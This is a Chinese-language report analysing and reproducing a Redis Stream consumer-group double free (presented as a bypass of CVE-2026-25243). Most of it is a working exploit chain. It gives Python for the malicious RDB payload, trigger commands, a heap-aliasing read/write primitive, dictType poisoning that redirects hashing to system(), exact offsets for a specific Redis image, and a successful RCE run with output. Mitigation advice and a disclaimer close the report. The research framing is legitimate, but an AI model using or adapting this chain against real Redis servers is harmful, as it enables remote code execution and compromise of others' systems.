Redis Stream NACK Double Free 漏洞分析与复现报告
CVE-2026-25243 (补丁绕过变种)
一、漏洞概述
该漏洞存在于 Redis Stream 数据结构的 Consumer Group PEL (Pending Entries List) 处理流程中。通过构造恶意的 RDB 备份文件(使用 RESTORE 命令载入),可以使两个 Consumer 共享同一个 streamNACK 结构体。随后通过 XGROUP DELCONSUMER 分别删除这两个 Consumer,触发双重释放 (Double Free),从而导致堆内存损坏。
此漏洞是 CVE-2026-25243 补丁的绕过变种。原始补丁修复了 RDB 加载时的 NACK 共享问题,但新的攻击向量通过不同的代码路径绕过了该修复。
影响范围
版本 | 利用脚本 | 说明 |
Redis 6.2.22 |
| 基于 dictEntry 伪造 + dict->type 投毒 |
Redis 7.4.9 |
| 基于双 dictEntry 别名 + server.commands->type 投毒 |
Redis 8.6.4 |
| 基于 kvstore 别名 + kvstore.dtype.hashFunction 投毒 |
Redis 8.8.0+ | ❌ 不受影响 | PR #15081 彻底修复 |
二、漏洞原理深度分析
2.1 背景:Redis Stream 与 Consumer Group
Redis Stream 是一种追加日志数据结构。Consumer Group 允许多个消费者协同消费 Stream 中的消息。每个 Consumer Group 维护一个 PEL,记录哪些消息已被读取但尚未确认 (ACK)。
Stream
├── entries (消息列表)
└── cgroups (消费者组)
└── group "g"
├── consumers
│ ├── Consumer "A"
│ │ └── PEL → [streamNACK(msg1), streamNACK(msg2), ...]
│ └── Consumer "B"
│ └── PEL → [streamNACK(msg1), streamNACK(msg2), ...]
└── pel (全局 PEL)streamNACK 是一个 24-64 字节的堆分配结构体(因版本而异):
- 6.2.22: 24 字节
- 7.4.9: 24 字节
- 8.6.4: 64 字节
2.2 漏洞触发机制
Step 1: 构造共享 NACK 的 RDB 载荷
def build_df_payload(group=b"g", consumers=(b"A", b"B")):
rawid = b"\x01" + b"\x00" * 15
mstime = struct.pack("<q", 1700000000000)
p = bytes([RDB_TYPE_STREAM_LISTPACKS]) # 类型标记
p += rdb_len(0) # listpacks count
p += rdb_len(0) # stream length
# ...
p += rdb_len(2) # 2 consumers
for name in consumers:
p += rdb_str(name)
p += mstime
p += rdb_len(1) # consumer PEL size = 1
p += rawid # 同一个 rawid!
# ↑ 关键:两个 Consumer 的 PEL 中指向同一个 rawidStep 2: 双重释放
RESTORE s 0 <payload> # 载入恶意 RDB
# Consumer A.PEL → NACK_C (rawid=X)
# Consumer B.PEL → NACK_C (rawid=X) ← 共享!
XGROUP DELCONSUMER s g A # free(NACK_C) → chunk C 回收到 tcache bin
# Consumer B.PEL 仍指向 C (悬垂指针)
XGROUP DELCONSUMER s g B # free(NACK_C) → 再次释放! Double Free!
# jemalloc tcache bin 中 C 出现两次Step 3: 堆喷 (Heap Spray) 占位
Double Free 后,C 在 jemalloc tcache 中被推入两次。接下来两次同大小分配都会返回 C:
分配 #1: kvobj / sdsdup → 返回 C (弹出第一次)
分配 #2: sdsdup / dictEntry → 返回 C (弹出第二次)
→ 两个不同的 Redis 对象指向同一块内存!2.3 利用链(以 6.2.22 为例)
Phase 1: Single-Free UAF (G2)
└→ 伪造 streamConsumer → XPENDING 任意读 → 泄露 PIE base
Phase 2: Double Free (Stage A)
└→ 两个 dictEntry 共享同一 chunk → 伪造 dictEntry → GETRANGE/SETRANGE 任意读写
Phase 3: 信息泄露
├→ PIE base: 通过 Lua tostring(string.format) CClosure 泄露
├→ libc base: 读取 write@GOT → libc write 偏移
└→ db[0].dict 地址: 通过 server.db 数组
Phase 4: Endgame (dict->type 投毒)
├→ 在 BUF 中构造 fake dictType (hashFunction = system)
├→ 将空 db 的 dict->type 指针改为 fake dictType
├→ 执行 GET "<shell_cmd>" → dictFind → hashFunction(key) → system(cmd)!
└→ 恢复原始 dict->type 指针 (非破坏性)
Phase 5: 清理
└→ 删除利用过程中产生的键,恢复 save/slowlog 配置2.4 为什么是非破坏性的?
利用脚本精心设计了以下保证:
- Server 永不会崩溃: 所有读取操作都通过有界 GETRANGE 通道(≤128 字节),避免越界读
- dict->type 验证: 写入前先确定性验证目标地址内容,失败则干净退出
- RCE 只触发一次:
system()只在指定的空 db 上触发一次 - 状态恢复: 利用完成后恢复原始 dict->type 指针、save 配置、slowlog 配置
- 残留键: 刻意保留一些利用键(如 fake dictEntry、BUF),因为删除它们会触发二次释放导致崩溃
三、复现环境
攻击机 (Kali Linux)
OS: Kali Linux (rolling)
Kernel: 6.18.12+kali-amd64
IP: 192.168.50.x (同网段)
工具: Python 3.11, GCC, expect目标机 (Ubuntu 24.04)
OS: Ubuntu 24.04.4 LTS
Hostname: rocky-VMware-Virtual-Platform
Kernel: 7.0.0-28-generic (x86_64)
IP: 192.168.50.125
用户: rocky (sudo 权限)
Docker: 已安装四、复现步骤
Step 1: 编译 libcrc64.so
Redis RDB 使用 CRC64 校验和,需要编译共享库来构造合法的 RDB 载荷:
cd /home/kali/github/redis-poc
gcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.cStep 2: 部署目标 Redis
通过 SSH 连接到目标机器,使用 Docker 部署 Redis 6.2.22:
# SSH 连接 (密码认证)
ssh rocky@192.168.50.125
# 拉取镜像并启动容器
sudo docker pull redis:6.2.22
sudo docker run -d --name redis-vuln -p 6379:6379 \
redis:6.2.22 redis-server --requirepass exploitmeStep 3: 执行漏洞利用
cd /home/kali/github/redis-poc
python3 A_exploit_stock.py 192.168.50.125 6379 exploitme \
"id > /data/pwned_by_hermes && echo PWNED"Step 4: 完整利用输出
[*] connected to 192.168.50.125:6379
[*] save='3600 1 300 100 60 10000' slowlog='10000'
[*] string.format CClosure @ 0x59de323bb7f0
[*] attempt j=0 try=0 -> win
[*] double free: shared dictEntry victim = k001 (guessing partner k005)
[+] BUF sds S=0x75a67a909005 j=171
[+] fake entry live: k001 -> fake RAW robj at 0x75a67a909131
[*] GETRANGE self-test: b'\xff\xff\x01BBBBBBBBBBBBB'
[+] PIE base = 0x59ddf91e9000 ← 泄露 Redis-server 基址
[+] libc base = 0x75a67ace8000 ← 泄露 glibc 基址 (write=0x75a67ade0340)
[*] server.db = 0x75a67a904000
[+] db[0].dict = 0x75a67a80b420 (verified)
[+] empty db dict = 0x75a67a80b600 (verified)
[+] fake dictType at 0x75a67a9091a0 (BUF+411)
[*] poisoning empty db dict->type ...
[*] TRIGGER: GET 'id > /data/pwned_by_hermes && echo PWNED' (scanning dbs)
[+] trigger fired (last reply None) ← RCE 触发!
[*] restoring db[1].dict->type ...
[+] db[1].dict->type restored = 0x59ddf93eeba0
[*] phantom used = 0
[*] cleanup: deleted 1279 keys (residue left inert)
[*] configs restored (save='3600 1 300 100 60 10000', slowlog='10000')
[+] CHAIN COMPLETE — RCE fired, target restored & functionalStep 5: 验证漏洞利用结果
# 检查容器内是否成功执行命令
$ sudo docker exec redis-vuln cat /data/pwned_by_hermes
uid=999(redis) gid=999(redis) groups=999(redis)
# 验证 Redis 服务仍正常运行
$ redis-cli -a exploitme PING
PONG
$ redis-cli -a exploitme SET test "still_alive"
OK
$ redis-cli -a exploitme GET test
"still_alive"五、利用链技术细节
5.1 双重释放原语
┌─────────────────────────────────────────────────┐
│ RESTORE 恶意 RDB 载荷 │
│ ┌─────────────────────────────────────────┐ │
│ │ Consumer A ──→ NACK_C (rawid=0x01..00) │ │
│ │ Consumer B ──→ NACK_C (同一个 rawid!) │ │
│ └─────────────────────────────────────────┘ │
└─────────────────┬───────────────────────────────┘
│
┌─────────────▼──────────────┐
│ DELCONSUMER A → free(C) │ C 回到 tcache bin
│ Consumer B 仍指向 C (悬垂) │
└─────────────┬──────────────┘
│
┌─────────────▼──────────────┐
│ DELCONSUMER B → free(C) │ Double Free!
│ C 在 tcache 中出现两次 │
└─────────────┬──────────────┘
│
┌─────────────▼──────────────────────────────┐
│ alloc #1 → C (kvobj/expire 61B 分配) │
│ alloc #2 → C (sdsdup/22-char key 24B 分配) │
│ → 两个对象指向同一内存! │
└────────────────────────────────────────────┘5.2 任意读写通道
BUF (640字节构造的缓冲区)
├── [j-1:j] = type5 sds header (0xB0)
├── [j:j+22] = 22字节 fake dictEntry key name
├── [M:M+8] = fake RAW robj header {type=0, enc=0, refcount=1, ptr=S+N}
├── [M+8:M+16] = robj.ptr (可重写为任意地址)
├── [N:N+3] = fake sds header {len=255, alloc=255, flags=1}
└── [T_DT:] = fake dictType {hashFunction=system, ...}
GETRANGE k001 0 127 → 读取 robj.ptr 指向的任意内存
SETRANGE k001 0 xxx → 向 robj.ptr 指向的任意内存写入5.3 dictType 投毒与 RCE
// 正常的 dictFind 调用链:
dictFind(db->dict, key)
→ dict->type->hashFunction(key) // dictSdsHash(key)
→ dict->type->keyCompare(key, ...)
// 投毒后:
// 将 db->dict->type->hashFunction 改为 system
dictFind(poisoned_dict, "id>/tmp/pwned")
→ system("id>/tmp/pwned") // 代码执行!5.4 关键偏移量 (官方 redis:6.2.22 镜像)
符号 | 偏移 | 说明 |
| 0x11fc20 | PIE 泄露锚点 (Lua string.format CClosure) |
| 0x205170 | 通过 GOT 泄露 libc base |
| 0xf8340 | libc 中 write() 偏移 |
| 0x4c490 | libc 中 system() 偏移 |
| 0x211780 | redisServer 全局结构体 |
| 0x205ba0 | 验证 dict->type 的预期值 |
| 0x4b4c0 | 伪造 dictType 的 keyCompare |
六、安全建议
6.1 立即行动
- 升级 Redis 到 8.8.0+ — 这是唯一的根本修复(PR #15081 重构了相关代码)
- 如不能升级:
- 禁用
RESTORE命令(rename-command RESTORE "") - 禁用
XGROUP DELCONSUMER命令 - 但这不保证完全防御,因为可能还有其他触发路径
6.2 纵深防御
- 始终设置
requirepass— 该漏洞需要认证后执行 - 网络隔离 — Redis 不应暴露在公网
- 最小权限 — 以非 root 用户运行 Redis
- 禁用危险命令:
rename-command RESTORE ""
rename-command DEBUG ""
rename-command EVAL ""6.3 检测
检查 Redis 版本是否受影响:
redis-cli INFO server | grep redis_version七、文件清单
文件 | 作用 |
| 6.2.22 完整利用链 (Single-Free UAF + Double Free → RCE) |
| 7.4.9 完整利用链 |
| 8.6.4 完整利用链 |
| 共享库: RESP 协议、RDB载荷构造、CRC64 校验 |
| Phase 1: Single-Free UAF → 任意读 |
| 7.4.9 的 G2 阶段辅助 |
| CRC64 实现 (编译为 libcrc64.so) |
| 非官方构建的偏移校准 |
| 非破坏性保证和残留说明 |
八、总结
这是一个非常精妙的漏洞利用链,展示了:
- Double Free 的经典利用 — 通过 jemalloc tcache 投毒实现堆对象别名
- 信息泄露链 — Lua CClosure → PIE → GOT → libc,完全无需 DEBUG 命令
- 非破坏性设计 — 利用结束后目标完全恢复正常,不留崩溃痕迹
- 跨版本适配 — 同一漏洞原语适配 6.x/7.x/8.x 三个大版本的不同内存布局
该漏洞被评为高危,因为它允许认证用户在 Redis 服务器上执行任意命令。但由于需要 AUTH 认证(或未授权访问),攻击门槛相对较高。
声明: 本文档仅用于授权的安全研究和教育目的。请勿在未授权的系统上使用。